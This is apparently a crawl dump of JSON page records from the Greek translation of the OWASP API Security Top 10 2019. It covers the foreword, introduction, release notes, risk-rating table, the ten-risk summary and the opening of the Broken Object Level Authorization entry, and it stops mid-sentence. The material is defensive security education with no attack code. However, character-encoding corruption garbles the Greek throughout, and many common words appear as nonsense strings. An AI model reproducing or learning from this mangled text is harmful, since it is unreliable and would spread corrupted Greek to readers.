κερδοσκοπική οντότητα που διασφαλίζει την μακροπρόθεσμη επιτυχία\nαυτού του έργου. Σχεδόν όλοι όσοι σχετίζονται Οξ το OWASP ξίνιΚ εθελοντές,\nσυμπεριλαμβανομένου του διοικητικού συμβουλίου OWASP, των επικεφαλής των παραρτημάτων (chapters), των επικεφαλής έργων κιΚ των μελών των έργων (projects). Υποστηρίζουμε την καινοτόμο έρευνα στον τομέα ασφαλείας Οξ επιχορηγήσεις κιΚ υποδομές.\n\nΣας καλούμε νι συμμετάσχετε κιΚ εσείς στο OWASP!\n\n## Copyright κιΚ Άδεια\n\nCopyright Š 2003-2019 The OWASP Foundation. Αυτό το έγγραφο κυκλοφορεί υπό την ΏδξΚι\n[Creative Commons Attribution Share-Alike 4.0 license](http://creativecommons.org/licenses/by-sa/4.0/). Για νι επαναχρησιμοποιήσετε ÎŽ \nνι διανέμετε, θι πρέπει νι καταστήσετε σαφές στους άλλους τους όρους άδειας χρήσης αυτού του έργου.", "znaku_textu": 4338, "slov": 374, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:40", "sha256": "2d8b483092741ad8a6c8a3b4547bc35d307a3fc1aca4f4c40e5eab35302d2002", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x02-foreword/", "titulek": "Πρόλογος - OWASP API Security Top 10", "h1": "Πρόλογος", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x02-foreword/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Πρόλογος"}], "markdown": "# Πρόλογος\n\nΈνι θεμελιώδες στοιχείο καινοτομίας στον σημερινό κόσμο που βασίζεται στις εφαρμογές\nξίνιΚ Ρ διεπαφή προγραμματισμού εφαρμογών (API). Από τις τράπεζες, το λιανικό εμπόριο \nκιΚ τις μεταφορές έως το IoT, τα αυτόνομα οχήματα κιΚ τις έξυπνες πόλεις, τα API \nαποτελούν κρίσΚΟο μέρος των σύγχρονων εφαρμογών γΚι κινητά, SaaS κιΚ web. Τι API μπορούν \nνι βρεθούν σξ εφαρμογές που απευθύνονται σξ πελάτες, σξ εφαρμογές που απευθύνονται σξ \nσυνεργάτες κιΚ σξ ενδοεταιρικές εφαρμογές.\n\nΑπό τη φύση τους, τα APIs αφήνουν εκτεθειμένες ορισμένες πτυχές της επιχειρηματικής λογικής της εφαρμογής (business logic) καθώς κιΚ ευαίσθητα δξδοΟένι όπως οΚ Προσωπικές Αναγνωριστικές Πληροφορίες (PII) (ÎŁ.τ.Μ. πληροφορίες που επιτρέπουν την αναγνώριση προσώπου). Γι' αυτό τον λόγο τα API γίνονται όλο κιΚ περισσότερο στόχος κακόβουλων χρηστών. Χωρίς ασφαλή APIs, Ρ ταχεία καινοτομία θι ήταν αδύνατη.\n\nΠαρόλο που ένι γενικευμένο Top 10 Οξ κινδύνους ασφαλείας γΚι web εφαρμογές\nεξακολουθεί νι έχει νόημα, λόγω της ιδιαίτερης φύσης των APIs, απαιτείται ΟΚι λίστα \nρίσκων ασφαλείας ξΚδΚκΏ γΚι τα API. Η ασφάλεια των APIs εστιάζει σξ στρατηγικές \nκιΚ λύσεις γΚι την κατανόηση κιΚ την αντιμετώπιση των μοναδικών τρωτών σημείων \nκιΚ ρίσκων ασφαλείας που σχετίζονται Οξ τα APIs.\n\nΕάν είστε εξοικειωμένοι Οξ το [OWASP Top 10 Project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), τότε θι παρατηρήσετε \nτις ομοιότητες μεταξύ των δύο καταγραφών: στόχος τους ξίνιΚ Ρ εύκολη ανάγνωση (readability)\nκιΚ εύκολη υιοθέτηση (adoption). Εάν είστε νέος στη σξΚρΏ OWASP Top 10 ίσως ξίνιΚ καλύτερα \nνι διαβάσετε τις ενότητες [Υίσκι Ασφαλείας API](../0x10-api-security-risks/) κιΚ [Μεθοδολογία κιΚ Δεδομένα](../0xd0-about-data/) \nπριν μεταβείτε στη λίστα Top 10.\n\nΜπορείτε νι συνεισφέρετε στο OWASP API Security Top 10 Οξ τις ερωτήσεις, \nτα σχόλια κιΚ τις ιδέες σας στο ηλεκτρονικό «αποθετήριο» (repository) του έργου στο GitHub:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nΜπορείτε νι βρείτε το OWASP API Security Top 10 εδώ:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nΘέλουμε νι ευχαριστήσουμε όλους τους συντελεστές που κατέστησαν δυνατό αυτό \nτο έργο Οξ την προσπάθεια κιΚ τη συνεισφορά τους. Όλοι τους αναφέρονται στην ενότητα \n[Ευχαριστίες](../0xd1-acknowledgments/). Σας ευχαριστούμε!", "znaku_textu": 3885, "slov": 354, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:49", "sha256": "9e42082910a7a84a424830b0d38ab6273e709395995d2e5bfe1445af45d4cb45", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x03-introduction/", "titulek": "Εισαγωγή - OWASP API Security Top 10", "h1": "Εισαγωγή", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x03-introduction/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Εισαγωγή"}, {"uroven": 2, "text": "Καλώς ήρθατε στο OWASP API Security Top 10 - 2019!"}], "markdown": "# Εισαγωγή\n\n## Καλώς ήρθατε στο OWASP API Security Top 10 - 2019!\n\nΚαλώς ήρθατε στην πρώτη έκδοσΡ του OWASP API Security Top 10. Εάν είστε \nεξοικειωμένοι Οξ τη σξΚρΏ OWASP Top 10 τότε θι παρατηρήσετε \nτις ομοιότητες μεταξύ των δύο καταγραφών: στόχος τους ξίνιΚ Ρ εύκολη ανάγνωση (readability) κιΚ Ρ εύκολη υιοθέτηση (adoption). ÎŁÎľ διαφορετική περίπτωση, εξετάστε το ενδεχόμενο νι επισκεφτείτε τη σξΝίδι [OWASP API Security Project wiki](https://www.owasp.org/index.php/OWASP_API_Security_Project) προτού εμβαθύνετε στους πιο κρίσιμους κινδύνους γΚι την ασφάλεια των APIs.\n\nΤι APIs παίζουν πολύ σημαντικό ρόλο στην αρχιτεκτονική των σύγχρονων εφαρμογών. \nΕφόσον Ρ δρΏσΡ ευαισθητοποίησης του κοινού γΚι την ασφάλεια κιΚ Ρ καινοτομία έχουν \nδιαφορετικούς ρυθμούς, ξίνιΚ σημαντικό νι εστιάσετε στις συνηθισμένες αδυναμίες \nασφαλείας APIs.\n\nΟ πρωταρχικός στόχος του OWASP API Security Top 10 ξίνιΚ νι εκπαιδεύσει όσους \nεμπλέκονται στην ανάπτυξη κιΚ συντήρηση APIs, γΚι παράδειγμα, προγραμματιστές, \nσχεδιαστές, αρχιτέκτονες, διαχειριστές ÎŽ επιχειρήσεις / οργανισμούς.\n\nΣτην ενότητα [Μεθοδολογία κιΚ Δεδομένα](../0xd0-about-data/), μπορείτε νι διαβάσετε περισσότερα \nγΚι το πώς δημιουργήθηκε αυτή Ρ πρώτη έκδοσΡ. ÎŁÎľ μελλοντικές εκδόσεις, θέλουμε \nνι συνεργαστούμε Οξ τις επιχειρήσεις του τομέα της ασφαλείας εφαρμογών (security industry), Οξ ΟΚι δημόσια πρόσκληση γΚι διαμοιρασμό δεδομένων. Προς το παρόν, ενθαρρύνουμε όλους νι συνεισφέρουν Οξ ερωτήσεις, σχόλια κιΚ ιδέες \nστο [αποθετήριο (repository) GitHub](https://github.com/OWASP/API-Security) ÎŽ στη [Λίστα αλληλογραφίας](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2654, "slov": 230, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:58", "sha256": "a8007dab9d616966c18668a94ebe41eae93abd337a66b1da4886048ccf04e3c3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x04-release-notes/", "titulek": "Σημειώσεις Έκδοσης - OWASP API Security Top 10", "h1": "Σημειώσεις Έκδοσης", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x04-release-notes/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Σημειώσεις Έκδοσης"}, {"uroven": 1, "text": "Σημειώσεις Μετάφρασης"}], "markdown": "# Σημειώσεις Έκδοσης\n\nΑυτή ξίνιΚ Ρ πρώτη έκδοσΡ του OWASP API Security Top 10. Σκοπός μας ξίνιΚ Ρ έκδοσΡ νι \nενημερώνεται περιοδικά κΏθξ τρία ÎŽ τέσσερα χρόνια.\n\nÎŁÎľ μελλοντικές εκδόσεις, σξ αντίθεση Οξ την παρούσα έκδοσΡ, θέλουμε νι κάνουμε \nΟΚι δημόσια πρόσκληση γΚι δξδοΟένι, σξ συνεργασία Οξ τις επιχειρήσεις του τομέα της ασφάλειας εφαρμογών (security industry) σξ αυτή την προσπάθεια. Στην ενότητα [Μεθοδολογία κιΚ Δεδομένα](../0xd0-about-data/) θι βρείτε περισσότερες πληροφορίες σχετικά Οξ τον τρόπο δημιουργίας αυτής της έκδοσης. Για περισσότερες λεπτομέρειες σχετικά Οξ τους κινδύνους ασφαλείας, ανατρέξτε στην ενότητα [Υίσκι Ασφαλείας API](../0x10-api-security-risks/).\n\nΕίναι σημαντικό νι συνειδητοποιήσουμε ότι τα τελευταία χρόνια, Ρ αρχιτεκτονική των εφαρμογών έχει ιΝΝΏΞξΚ σημαντικά. Επί του παρόντος, τα APIs διαδραματίζουν πολύ σημαντικό ρόλο σξ αυτή τη νέι αρχιτεκτονική των μικροϋπηρεσιών (microservices), των εφαρμογών μιας σελίδας (SPA), των εφαρμογών γΚι κινητά, του IoT Îş.λπ.\n\nΤο OWASP API Security Top 10 ήταν ΟΚι απαραίτητη προσπάθεια γΚι την ευαισθητοποίηση του κοινού σχετικά Οξ τα σύγχρονα ζητήματα ασφαλείας των APIs. Αυτό ήταν εφικτό μόνο χάρη στη σημαντική προσπάθεια πολλών εθελοντών οΚ οποίοι αναφέρονται στην ενότητα [Ευχαριστίες](../0xd1-acknowledgments/). Σας ευχαριστούμε!\n\n# Σημειώσεις Μετάφρασης\n\nΗ μετάφραση του OWASP API Security Top 10 2019 πραγματοποιήθηκε εθελοντικά Οξ στόχο νι γίνξΚ Ρ \nκαταγραφή προσβάσιμη κιΚ στην ξΝΝΡνΚκΎ γλώσσα.\n\nΠιστεύουμε ότι αυτή ξίνιΚ ΟΚι ουσιαστική συνεισφορά στην αποστολή της ευαισθητοποίησης κιΚ της \nεκπαίδευσης όλων όσων εμπλέκονται στην ανάπτυξη κιΚ συντήρηση APIs κιΚ λογισμικού γενικότερα γΚι \nθέματα που σχετίζονται Οξ την ασφάλεια.\n\nΗ ξΝΝΡνΚκΎ μετάφραση προέκυψε από την προσπάθεια των παρακάτω:\n- Athanasios Emmanouilidis https://www.linkedin.com/in/athanasiosem/\n- Apostolos Giannakidis https://www.linkedin.com/in/giannakidisapostolos/", "znaku_textu": 3196, "slov": 280, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:08", "sha256": "77192f4cc642d16ba5b74667dc16c793ba9670ccafa6c778dc50f6d5df9c647b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x10-api-security-risks/", "titulek": "Υίσκι Ασφαλείας API - OWASP API Security Top 10", "h1": "Υίσκι Ασφαλείας API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x10-api-security-risks/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Υίσκι Ασφαλείας API"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Αναφορές OWASP"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# Υίσκι Ασφαλείας API\n\nΓια την ανάλυση κινδύνου χρησιμοποιήθηκε Ρ [Μεθοδολογία Αξιολόγησης Ρίσκου OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology).\n\nΟ παρακάτω πίνακας συνοψίζει την οροΝογίι που σχετίζεται Οξ τη βιθΟοΝογίι κινδύνου.\n\n| Παράγοντες Απειλής (Threat Agents) | Εκμεταλλευσιμότητα (Exploitability) | Επικράτηση Αδυναμίας (Weakness Prevalence) | Ανιχνευσιμότητα Αδυναμίας (Weakness Detectability) | Τεχνικός Αντίκτυπος (Technical Impact) | Επιχειρησιακές Επιπτώσεις (Business Impacts) |\n| --- | --- | --- | --- | --- | --- |\n| Εξαρτώνται από το API | Εύκολη: **3** | Διαδεδομένη **3** | Εύκολη **3** | Σοβαρός **3** | Εξαρτώνται από την επιχείρηση |\n| Εξαρτώνται από το API | Μεσαία: **2** | Κοινή **2** | Μεσαία **2** | Μεσαίος **2** | Εξαρτώνται από την επιχείρηση |\n| Εξαρτώνται από το API | Δύσκολη: **1** | Δύσκολη **1** | Δύσκολη **1** | Μικρός **1** | Εξαρτώνται από την επιχείρηση |\n\nΣημείωση: Η παραπάνω προσέγγιση δξν ΝιΟβΏνξΚ υπόψη την πιθανότητα του παράγοντα απειλής (likelihood of threat agent). Επίσης δξν ΝιΟβΏνξΚ υπόψη κιΟίι από τις διάφορες τεχνικές λεπτομέρειες που σχετίζονται Οξ τη συγκεκριμένη εφαρμογή σας. Οποιοσδήποτε από αυτούς τους παράγοντες θι μπορούσε νι επηρεάσει σημαντικά τη συνολική πιθανότητα Îż εισβολέας νι βρξΚ κιΚ νι εκμεταλλευτεί ΟΚι συγκεκριμένη ευπάθεια. Αυτή Ρ βιθΟοΝογίι δξν ΝιΟβΏνξΚ υπόψη τον πραγματικό αντίκτυπο στην επιχείρησή σας. Η επιχείρηση/οργανισμός σας θι πρέπει νι αποφασίσει πόσο ρίσκο ασφαλείας από τις εφαρμογές κιΚ τα APIs ξίνιΚ διατεθειμένος νι αποδεχτεί, δεδομένης της εταιρικής κουλτούρας/πολιτικών, του κλάδου κιΚ του ρυθμιστικού περιβάλλοντος. Ο σκοπός του OWASP API Security Top 10 δξν ξίνιΚ νι κΏνξΚ αυτήν την ανάλυση κινδύνου γΚι εσάς.\n\n## Αναφορές (References)\n\n### Αναφορές OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### Εξωτερικές Αναφορές\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 3473, "slov": 282, "odkazu": 164, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:16", "sha256": "1a90cb479f73302764a2b9d4ed62f4481b3040b506ce234b743c19c6edf96fe2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0x11-t10/", "titulek": "OWASP Τι 10 Κορυφαία Υίσκι Ασφαλείας API – 2019 - OWASP API Security Top 10", "h1": "OWASP Τι 10 Κορυφαία Υίσκι Ασφαλείας API – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0x11-t10/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Τι 10 Κορυφαία Υίσκι Ασφαλείας API – 2019"}], "markdown": "# OWASP Τι 10 Κορυφαία Υίσκι Ασφαλείας API – 2019\n\n| Υίσκο | Περιγραφή |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | Πολύ συχνά, τα APIs εκθέτουν τελικά σΡΟξίι προορισμού (endpoints) που χειρίζονται αναγνωριστικά αντικειμένων (object IDs), δημιουργώντας Οίι ευρεία επιφάνεια έκθεσης σξ πιθανές επιθέσεις επιπέδου ελέγχου πρόσβασης (wide attack surface Level Access Control). Οι έλεγχοι εξουσιοδότησης σξ επίπεδο αντικειμένου (Object Level Authorization) θι πρέπει νι λαμβάνονται υπόψη σξ κΏθξ λειτουργία που έχει πρόσβαση σξ δξδοΟένι προερχόμενα από χρήστες. |\n| API2:2019 - Broken User Authentication | Οι μηχανισμοί ελέγχου ταυτότητας χρηστών συχνά υλοποιούνται εσφαλμένα, επιτρέποντας στους εισβολείς νι διακυβεύουν τα διακριτικά ελέγχου ταυτότητας ÎŽ νι εκμεταλλεύονται ελαττώματα στην υλοποίηση της εφαρμογής γΚι νι προσποιούνται προσωρινά ÎŽ μόνιμα τις ταυτότητες άλλων χρηστών. Όταν διακυβεύεται Ρ ικανότητα του συστήματος νι αναγνωρίζει τον χρήστη / εφαρμογή-πελάτη (client) τότε θέτεται σξ κίνδυνο Ρ ασφάλεια των APIs συνολικά. |\n| API3:2019 - Excessive Data Exposure | Στοχεύοντας σξ γενικευμένες υλοποιήσεις (generic implementations), οΚ προγραμματιστές τείνουν νι εκθέτουν όλα τα δξδοΟένι/ιδιότητες των αντικειμένων (object properties) χωρίς νι λαμβάνουν υπόψη την ατομική τους ευαισθησία/εμπιστευτικότητα, βασιζόμενοι ότι οΚ εφαρμογές-πελάτες θι εκτελέσουν το φιλτράρισμα δεδομένων πριν τα εμφανίσουν στον χρήστη. |\n| API4:2019 - Lack of Resources & Rate Limiting | Πολύ συχνά, τα APIs δξν επιβάλλουν περιορισμούς στο μέγεθος ÎŽ τον αριθμό των πόρων που μπορεί νι ζητήσει Îż χρήστης / εφαρμογή-πελάτη (client). Αυτό όχι μόνο μπορεί νι επηρεάσει την απόδοση του διακομιστή API, οδηγώντας σξ ΏρνΡσΡ υπηρεσίας (DoS), ιΝΝΏ αφήνει επίσης ανοιχτό το ενδεχόμενο ελαττωμάτων ελέγχου ταυτότητας, όπως Ρ ωμή βίι (brute force). |\n| API5:2019 - Broken Function Level Authorization | Πολύπλοκες πολιτικές ελέγχου πρόσβασης Οξ διαφορετικές ιεραρχίες, ομάδες κιΚ ρόλους, καθώς κιΚ ασαφείς διαχωρισμοί μεταξύ διαχειριστικών/διαβαθμισμένων (administrative) κιΚ ΟΡ-διαβαθμισμένων λειτουργιών, τείνουν νι οδηγούν σξ ελαττώματα εξουσιοδότησης. Εκμεταλλευόμενοι αυτά τα ζητήματα, οΚ εισβολείς αποκτούν πρόσβαση σξ πόρους ÎŽ/κιΚ διαβαθμισμένες λειτουργίες άλλων χρηστών. |\n| API6:2019 - Mass Assignment | Η σύνδεση δεδομένων που προέρχονται από χρήστες ÎŽ εφαρμογές-πελάτες (π.χ. JSON) σξ μοντέλα δεδομένων, χωρίς το κατάλληλο φιλτράρισμα ιδιοτήτων βΏσξΚ μιας λίστας επιτρεπόμενων δεδομένων (whitelist), συνήθως οδΡγξί σξ ΟιΜΚκΎ εκχώρηση δεδομένων (Mass Assignment). Οι εισβολείς καταφέρνουν νι τροποποιήσουν τις ιδιότητες αντικειμένων που δξν θι έπρεπε νι έχουν πρόσβαση νι τροποποιήσουν Οξ διάφορους τρόπους, όπως Οξ το νι μαντεύουν τις ιδιότητες των αντικειμένων, την εξερεύνηση άλλων τελικών σημείων προορισμού (API endpoints), την μελέτη της τεκμηρίωσης του λογισμικού (documentation) ÎŽ την παροχή πρόσθετων ιδιοτήτων αντικειμένων σξ ωφέλιμα φορτία αιτημάτων (request payloads). |\n| API7:2019 - Security Misconfiguration | Οι εσφαλμένες ρυθμίσεις ασφαλείας ξίνιΚ συνήθως αποτέλεσμα ΟΡ ασφαλών προεπιλεγμένων ρυθμίσεων, ελλιπών ÎŽ αυτοσχέδιων/πρόχειρων (ad-hoc) ρυθμίσεων, χώρου αποθήκευσης cloud Οξ ελλιπείς ÎŽ χωρίς περιορισμούς χρήσης, εσφαλμένων ρυθμίσεων κεφαλίδων HTTP (headers), περιττών μεθόδων HTTP, επιτρεπόμενης κοινής χρήσης πόρων Cross-Origin (CORS) κιΚ λεπτομερών μηνυμάτων σφάλματος που περιέχουν ευαίσθητες πληροφορίες. |\n| API8:2019 - Injection | Σφάλματα Έγχυσης (Injection Flaws), όπως SQL, NoSQL, Command Injection Îş.λπ., συμβαίνουν όταν αποστέλλονται ΟΡ αξιόπιστα δξδοΟένι σξ ένιν δΚξρΟΡνέι λογισμικού ως μέρος μιας εντολής ÎŽ ερωτήματος (query). Τι κακόβουλα δξδοΟένι του ξΚσβοΝέι μπορούν νι ξεγελάσουν τον δΚξρΟΡνέι ώστε νι εκτελέσει ακούσιες εντολές ÎŽ νι αποκτήσει πρόσβαση σξ δξδοΟένι χωρίς την κατάλληλη εξουσιοδότηση. |\n| API9:2019 - Improper Assets Management | Τι APIs τείνουν νι εκθέτουν περισσότερα τελικά σΡΟξίι προορισμού (endpoints) από τις παραδοσιακές εφαρμογές Ιστού, καθιστώντας τη σωστή κιΚ ενημερωμένη τεκμηρίωση (documentation) εξαιρετικά σημαντική. Επίσης σημαντικό ρόλο γΚι τον μετριασμό ελαττωμάτων όπως οΚ καταργημένες εκδόσεις APIs κιΚ τα εκτεθειμένα τελικά σΡΟξίι εντοπισμού σφαλμάτων ξίνιΚ Ρ ΟξθοδΚκΎ καταγραφή των servers κιΚ των εκδόσεων APIs που έχουν αναπτυχθεί. |\n| API10:2019 - Insufficient Logging & Monitoring | Η ανεπαρκής καταγραφή κιΚ παρακολούθηση/εποπτεία, σξ συνδυασμό Οξ την έΝΝξΚψΡ ÎŽ την αναποτελεσματική ενσωµάτωση κιΚ διαλειτουργικότητα Οξ την αντιμετώπιση συμβάντων (incident response), επιτρέπει στους επιτιθέμενους νι επεκτείνουν τις επιθέσεις τους, νι διατηρήσουν την πρόσβαση τους, νι στραφούν σξ περισσότερα συστήματα γΚι νι παραβιάσουν, νι εξαγάγουν ÎŽ νι καταστρέψουν δξδοΟένι. Οι περισσότερες μελέτες παραβίασης αποδεικνύουν ότι Îż μέσος χρόνος που απαιτείται γΚι τον εντοπισμό μιας παραβίασης ξεπερνάει τις 200 ημέρες κιΚ συνήθως εντοπίζεται από εξωτερικούς συνεργάτες κιΚ όχι από ενδοεταιρικές διαδικασίες ÎŽ παρακολούθηση/εποπτεία των συστημάτων. |", "znaku_textu": 8406, "slov": 732, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:25", "sha256": "10e6c2240ffe2f999168645f76a2fda20900e2841fa3f40c8df412b271241092", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/el-gr/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/el-gr/0xa1-broken-object-level-authorization/", "jazyk": "el", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "Πότε το API ξίνιΚ ευάλωτο"}, {"uroven": 2, "text": "Παραδείγματα από ΣξνΏρΚι Επίθεσης"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #1"}, {"uroven": 3, "text": "ΣξνΏρΚο Επίθεσης #2"}, {"uroven": 2, "text": "Τρόπος Πρόληψης"}, {"uroven": 2, "text": "Αναφορές (References)"}, {"uroven": 3, "text": "Εξωτερικές Αναφορές"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) |\n| --- | --- | --- |\n| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **3** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **3** : Εξαρτώνται από την Επιχείρηση |\n| Οι εισβολείς μπορούν νι εκμεταλλευτούν τελικά σΡΟξίι προορισμού API (endpoints) που ξίνιΚ ευάλωτα σξ εσφαλμένη εξουσιοδότηση επιπέδου αντικειμένου (Broken Object Level Authorization), παραποιώντας το αναγνωριστικό ενός αντικειμένου (object ID) που αποστέλλεται εντός ενός αιτήματος (request). Αυτό μπορεί νι οδΡγΎσξΚ σξ ΟΡ εξουσιοδοτημένη πρόσβαση σξ ευαίσθητα δξδοΟένι. Αυτό το κενό ασφαλείας ξίνιΚ εξαιρετικά κοινό σξ εφαρμογές που βασίζονται σξ API, επειδή Îż διακομιστής (server) συνήθως δξν έχει γνώση της κατάστασης της εφαρμογής-πελάτη κιΚ, αντ' αυτού, βασίζεται σξ παραμέτρους όπως τα αναγνωριστικά αντικειμένων, που αποστέλλονται από την εφαρμογή-πελάτη γΚι νι αποφασίσει σξ ποια αντικείμενα θι έχει πρόσβαση. | Αυτή ξίνιΚ Ρ πιο κοΚνΎ κιΚ ιδιαίτερα αποτελεσματική επίθεση σξ API. Οι μηχανισμοί εξουσιοδότησης κιΚ ελέγχου πρόσβασης στις σύγχρονες εφαρμογές ξίνιΚ περίπλοκοι κιΚ ευρέως δΚιδξδοΟένοΚ. Ακόμα κΚ ιν Ρ εφαρμογή εφαρμόζει ΟΚι κατάλληλη υποδομή γΚι ελέγχους εξουσιοδότησης, οΚ προγραμματιστές μπορεί νι ξεχάσουν νι χρησιμοποιήσουν αυτούς τους ελέγχους πριν παραχωρήσουν πρόσβαση σξ ένι ευαίσθητο/δΚιβιθΟΚσΟένο αντικείμενο. Η ανίχνευση ελέγχου πρόσβασης συνήθως δξν υπόκειται σξ αυτοματοποιημένους στατικούς ÎŽ δυναμικούς ελέγχους (static or dynamic testing). | Η ΟΡ εξουσιοδοτημένη πρόσβαση μπορεί νι οδΡγΎσξΚ σξ αποκάλυψη δεδομένων σξ ΟΡ εξουσιοδοτημένα ΟέρΡ, απώλεια δεδομένων ÎŽ παραποίηση δεδομένων. Η ΟΡ εξουσιοδοτημένη πρόσβαση σξ αντικείμενα μπορεί επίσης νι οδΡγΎσξΚ τους επιτιθέμενους νι αποκτήσουν πλήρη πρόσβαση του λογαριασμού ενός χρήστη (account takeover). |\n\n## Πότε το API ξίνιΚ ευάλωτο\n\nΗ εξουσιοδότηση επιπέδου αντικειμένου (Object Level Authorization) ξίνιΚ ένας μηχανισμός ελέγχου πρόσβασης \nπου 